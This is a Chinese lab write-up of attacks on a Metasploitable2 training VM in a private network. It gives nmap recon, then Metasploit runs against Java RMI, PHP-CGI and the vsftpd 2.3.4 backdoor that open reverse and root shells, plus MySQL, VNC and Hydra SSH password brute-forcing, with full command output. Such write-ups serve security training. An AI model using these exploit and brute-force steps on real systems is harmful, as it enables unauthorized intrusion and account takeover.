Metasploitable靶场

news/2024/7/5 3:14:40

1 基本环境

虚拟机账号密码:msfadmin/msfadmin

kali主机IP:192.168.5.136

metasploitable2靶机IP:192.168.5.160

使用浏览器登录靶机:

 

 

 

2 信息收集

└─# nmap 192.168.5.16
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-03 01:30 EST
Nmap scan report for 192.168.5.160
Host is up (0.00098s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:84:03:C5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

使用nessus扫描结果如下:

 

 

 

3 漏洞利用

3.1 1099 java-rmi

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.5.160
rhosts => 192.168.5.160
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.5.136:4444
[*] 192.168.5.160:1099 - Using URL: http://192.168.5.136:8080/gNzInc
[*] 192.168.5.160:1099 - Server started.
[*] 192.168.5.160:1099 - Sending RMI Header...
[*] 192.168.5.160:1099 - Sending RMI Call...
[*] 192.168.5.160:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.5.160
[*] Meterpreter session 1 opened (192.168.5.136:4444 -> 192.168.5.160:54656) at 2023-02-03 01:59:08 -0500

meterpreter > sessions -i 1
Usage: sessions <id>

Interact with a different session Id.
This works the same as calling this from the MSF shell: sessions -i <session id>

meterpreter > shell
Process 1 created.
Channel 1 created.

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:84:03:c5
          inet addr:192.168.5.160  Bcast:192.168.5.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe84:3c5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:9988 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8399 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1348357 (1.2 MB)  TX bytes:1736001 (1.6 MB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:247 errors:0 dropped:0 overruns:0 frame:0
          TX packets:247 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:92245 (90.0 KB)  TX bytes:92245 (90.0 KB)

pwd
/
whoami
root

3.2 php cgi漏洞

msf6 > use exploit/multi/http/php_cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.5.160
rhosts => 192.168.5.160
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.5.136:4444
[*] Sending stage (39927 bytes) to 192.168.5.160
[*] Meterpreter session 1 opened (192.168.5.136:4444 -> 192.168.5.160:50128) at 2023-02-03 03:09:35 -0500

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: www-data
meterpreter > shell
Process 14610 created.
Channel 0 created.
ifconfig
/bin/sh: line 1: ifconfig: command not found
whoami
www-data

3.3 3306数据库默认端口

既然运行远程连接,直接爆破,账号root密码为空然后登入

msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Ac
                                                cepted: none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), see https://github.com/rapid7/metasploit
                                                -framework/wiki/Using-Metasploit
   RPORT             3306             yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME          root             no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one
                                                pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.5.160
rhosts => 192.168.5.160
msf6 auxiliary(scanner/mysql/mysql_login) > set username root
username => root
msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.5.160:3306    - 192.168.5.160:3306 - Found remote MySQL version 5.0.51a
[+] 192.168.5.160:3306    - 192.168.5.160:3306 - Success: 'root:'
[*] 192.168.5.160:3306    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) >
┌──(root㉿kali)-[~]
└─# mysql -h 192.168.5.160 -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 32
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

3.4 VNC

msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > show options

Module options (auxiliary/scanner/vnc/vnc_login):

   Name              Current Setting              Required  Description
   ----              ---------------              --------  -----------
   BLANK_PASSWORDS   false                        no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                            yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                        no        Try each user/password couple stored in the curr
                                                            ent database
   DB_ALL_PASS       false                        no        Add all passwords in the current database to the
                                                             list
   DB_ALL_USERS      false                        no        Add all users in the current database to the lis
                                                            t
   DB_SKIP_EXISTING  none                         no        Skip existing credentials stored in the current
                                                            database (Accepted: none, user, user&realm)
   PASSWORD                                       no        The password to test
   PASS_FILE         /usr/share/metasploit-frame  no        File containing passwords, one per line
                     work/data/wordlists/vnc_pas
                     swords.txt
   Proxies                                        no        A proxy chain of format type:host:port[,type:hos
                                                            t:port][...]
   RHOSTS                                         yes       The target host(s), see https://github.com/rapid
                                                            7/metasploit-framework/wiki/Using-Metasploit
   RPORT             5900                         yes       The target port (TCP)
   STOP_ON_SUCCESS   false                        yes       Stop guessing when a credential works for a host
   THREADS           1                            yes       The number of concurrent threads (max one per ho
                                                            st)
   USERNAME          <BLANK>                      no        A specific username to authenticate as
   USERPASS_FILE                                  no        File containing users and passwords separated by
                                                             space, one pair per line
   USER_AS_PASS      false                        no        Try the username as the password for all users
   USER_FILE                                      no        File containing usernames, one per line
   VERBOSE           true                         yes       Whether to print output for all attempts

msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 192.168.5.160
rhosts => 192.168.5.160
msf6 auxiliary(scanner/vnc/vnc_login) > run

[*] 192.168.5.160:5900    - 192.168.5.160:5900 - Starting VNC login sweep
[!] 192.168.5.160:5900    - No active DB -- Credential data will not be saved!
[+] 192.168.5.160:5900    - 192.168.5.160:5900 - Login Successful: :password
[*] 192.168.5.160:5900    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/vnc/vnc_login) >

3.5 ftp后门

msf6 > use unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.5.160
rhosts => 192.168.5.160
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.5.160:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.5.160:21 - USER: 331 Please specify the password.

[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.5.160:21 - The port used by the backdoor bind listener is already open
[+] 192.168.5.160:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened (192.168.5.136:45575 -> 192.168.5.160:6200) at 2023-02-03 03:31:21 -0500

whoami
root
ifocnifg
sh: line 7: ifocnifg: command not found
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:84:03:c5
          inet addr:192.168.5.160  Bcast:192.168.5.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe84:3c5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:77211 errors:0 dropped:0 overruns:0 frame:0
          TX packets:65386 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:10964795 (10.4 MB)  TX bytes:11158743 (10.6 MB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:629 errors:0 dropped:0 overruns:0 frame:0
          TX packets:629 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:279905 (273.3 KB)  TX bytes:279905 (273.3 KB)

3.6 ssh密码爆破

└─# hydra -L user.txt -P pass.txt -t 2 -vV -e ns 192.168.5.160 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-03 03:47:13
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 15 login tries (l:3/p:5), ~8 tries per task
[DATA] attacking ssh://192.168.5.160:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://msfadmin@192.168.5.160:22
[INFO] Successful, password authentication is supported by ssh://192.168.5.160:22
[ATTEMPT] target 192.168.5.160 - login "msfadmin" - pass "msfadmin" - 1 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.5.160 - login "msfadmin" - pass "" - 2 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.5.160 - login "msfadmin" - pass "123456" - 3 of 15 [child 1] (0/0)
[22][ssh] host: 192.168.5.160   login: msfadmin   password: msfadmin
[ATTEMPT] target 192.168.5.160 - login "root" - pass "root" - 6 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.5.160 - login "root" - pass "" - 7 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.5.160 - login "root" - pass "123456" - 8 of 15 [child 1] (0/0)
[22][ssh] host: 192.168.5.160   login: root   password: 123456
[ATTEMPT] target 192.168.5.160 - login "admin" - pass "admin" - 11 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.5.160 - login "admin" - pass "" - 12 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.5.160 - login "admin" - pass "123456" - 13 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.5.160 - login "admin" - pass "asdfjkl" - 14 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.5.160 - login "admin" - pass "msfadmin" - 15 of 15 [child 0] (0/0)
[STATUS] attack finished for 192.168.5.160 (waiting for children to complete tests)
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-03 03:47:30

┌──(root㉿kali)-[~]

 


http://lihuaxi.xjx100.cn/news/797747.html

相关文章

JavaScript高级 ES7-ES13 新特性

1. ES7 1. Array Includes 在ES7之前&#xff0c;如果我们想判断一个数组中是否包含某个元素&#xff0c;需要通过 indexOf 获取结果&#xff0c;并且判断是否为 -1 在ES7中&#xff0c;我们可以通过includes来判断一个数组中是否包含一个指定的元素&#xff0c;根据情况&am…

Qt-源码部分编译-C++

-debug 只编译出 debug 版本&#xff0c;是默认选项&#xff08;相对于 -release 选项&#xff09; -debug-and-release 两种版本都编译 -opensource 使用 opensource 版本的Qt&#xff08;相对于 -commercial 选项&#xff09; -c11 打开 C11 的支持 -shared 使用共享库&#…

多个 List 如何取交集、并集、去重并集、差集?

因为如果 List 里面装的是对象&#xff0c;一定要重写 equals 和 hashcode 方法(都是 Object 类下面的方法); 不然比较的是堆内存地址&#xff0c;那么本文也就毫无意义了。 /*** 对象类型的处理*/public static void test1() {List<Student> list1 new ArrayList<&…

C/C++ 内存泄漏检测

C/C 内存泄漏检测内存泄漏的两个问题使用宏定义覆盖 malloc 和 free 函数使用 hook 钩子最近学习了 C/C 内存泄漏检测的相关知识&#xff0c;写博客记录一下。 内存泄漏的两个问题 是否有内存泄漏&#xff1f;内存泄漏是在代码的哪一行&#xff1f; 检测内存泄漏主要从上面两…

软件测试项目实战,我们拿到项目第一步应该怎么做【附过程文档】

对于从事软件研发的组织来说&#xff0c;工作类型至少包括项目管理、产品设计、编码、测试、质量保证和软件配置管理&#xff0c;以及其它人员&#xff0c;如文档编制人员和美工人员/系统硬件管理人员等。根据职能需要&#xff0c;可以以半独立方式进行部门和项目的矩阵管理&am…

关于fuse的常用启动参数

1、启动fuse用户态守护进程 参数比较多&#xff0c;一般正常使用需要的命令类似下面即可 /myfuseexe 源挂载路径 目的挂载路径 -o allow_other -o auto_unmount 例如&#xff1a; /myfuseexe /src /data/src -o allow_other -o auto_unmount 把/src目录挂载到/dat…

电脑重装系统装不了如何解决

重装系统装不了如何解决&#xff1f;当电脑出现故障时&#xff0c;大部分人都会选择重装系统来解决这个问题&#xff0c;但是有人出现系统重装不了&#xff0c;下面小编就来为大家解决系统重装不了的问题。 工具/原料&#xff1a; 系统版本&#xff1a;win7 品牌型号&#xff…

QT-线性拟合(自动找直线区域)

最近有个需求&#xff0c;需要对一个S曲线的散点图做线性拟合&#xff0c;百度上线性拟合和曲线拟合公式很多&#xff0c;没什么问题&#xff0c;但需求里面有一个预期就是自动找出直线部分&#xff0c;前面因为其它事情耽搁&#xff0c;一直没有实现&#xff0c;心里多少有点梗…